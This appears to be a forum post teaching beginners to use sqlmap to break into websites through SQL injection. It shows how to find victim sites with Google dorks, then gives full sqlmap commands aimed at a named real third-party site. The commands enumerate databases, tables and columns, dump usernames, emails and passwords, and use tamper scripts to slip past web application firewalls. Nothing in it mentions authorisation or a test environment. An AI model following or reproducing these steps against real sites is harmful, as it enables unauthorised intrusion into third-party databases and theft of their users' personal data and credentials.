[NOOB FRIENDLY] SQLmap basic tutorial

[melindad74]

Basic tutorial of using sqlmap to exploit vulnerable web application
tosql injection

• Content:

• Sqlmap download and requirements
• Gettings sqli vulnerable website
• Exploiting the vulnerability using sqlmap (database,tableand columns enumeration)
• Dump data from database
• Bypass firewalls using tamper scripts

Intro:
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
1- Sqlmap download and requirements:
SQLmap repository:

Required: python 2.7.*
To get basic sqlmap commands help

python sqlmap.py -h

2- Gettings sqli vulnerable website:
You can search for vulnerable website using search engines such as google (best SE).
You'll need just to use a good dork (not included in this tutorial)
I used in this example this dork: (inurl:shop.php?id= site:in) and check websites manually (best way)
Or just use the dork within sqlmap which is not recommanded:

python sqlmap.py -g "inurl:shop.php?id= site:in" --random-agent

Loading…

i.ibb.co

Open website from search result and add to the end of url a quote ' then press enter. If you see on source some error strings like this: "You have an error in your SQL syntax;"
Then the webapplication might be vulnerable. In my example:

Loading…

i.ibb.co

3-Exploiting the vulnerability using sqlmap:
Most sqlmap used arguments/comands(recommanded):

-u URL, --url=URL Target URL (e.g. "https://www.site.com/vuln.php?id=1
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--dbms=DBMS Force back-end DBMS to provided value (ex: MySQL)
--level=LEVEL Level of tests to perform (1-5, default 1) . recommanded: 3
--risk=RISK Risk of tests to perform (1-3, default 1). recommanded: 3
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
--tamper=TAMPER Use given script(s) for tampering injection data
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)

a) - Enumerate server databases:
My target for now is: http://www.aarsh.co.in/products.php?id=11
So I run this command:

python sqlmap.py -u http://www.aarsh.co.in/products.php?id=11 --dbms=MySQL --risk=3 --level=3 --random-agent --tamper=randomcomments,randomcase --dbs --is-dba

I already know that the dbms (database management system) is mysql so I add this "--dbms=MySQL" to command line to escape other dbms payload execution to gain time. Also I set level and risk to 3 for advenced exploiting "--risk=3 --level=3"... "--random-agent" to use a random user agent... "--dbs" to enumerate databases of this server/site if it's vulnerable of course.
"--is-dba" to check wther the current database use has admin privileges or not and finally "--tamper" we'll discuss later in this tutorial.
You can use "--threads" argument to speed up the pentest (depends on your internet connection).
Image:

Loading…

i.ibb.co

(
I couldn't complete the previous step(exploiting) because of some technical problem
I may edit this tutorial later...
But the rest is easy.
)

python sqlmap.py -u http://www.aarsh.co.in/products.php?id=11 --dbms=MySQL --risk=3 --level=3 --random-agent --tamper=randomcomments,randomcase -D "db_name" --tables

c) - Enumerate table columns:
In the end of tables enumeration results, your targeted tables names should look like: users, members, subscribers...
In the final step: columns enumeration, you may look for emails,passwords, usernames...
so type the commands as below: (-D "db_name" -T "table_name" --columns) to enumerate table columns

python sqlmap.py -u http://www.aarsh.co.in/products.php?id=11 --dbms=MySQL --risk=3 --level=3 --random-agent --tamper=randomcomments,randomcase -D "db_name" -T "tb_name" --columns

4- Dump data from database:
Finally it comes the time to fetch data from database database.
Commands: -D "db_name" -T "table_name" -C "column1,column2,column3..." --dump
You can select any column from the table and you may use threads to make the dump faster.(--threads=10)

python sqlmap.py -u http://www.aarsh.co.in/products.php?id=11 --dbms=MySQL --risk=3 --level=3 --random-agent --tamper=randomcomments,randomcase -D "db_name" -T "tb_name" -C "column1,column2..." --dump --threads=5

5- Bypass firewalls using tamper scripts:
Tamper scripts are used to obfuscate and escape web app firewalls because there are many firewalls that checks sql queries to defend the webapp from database attacks... I usually use this two tampers: (randomcase.py, randomcomments.py) and each firewall may need a spcial set of tampers, so it depends on the web application. We won't discuss a lot about this cuz it's for advenced users.
To see the full list of tampers that located in "tamper" folder within sqlmap path (you can write your own tamper):

python sqlmap.py --list-tampers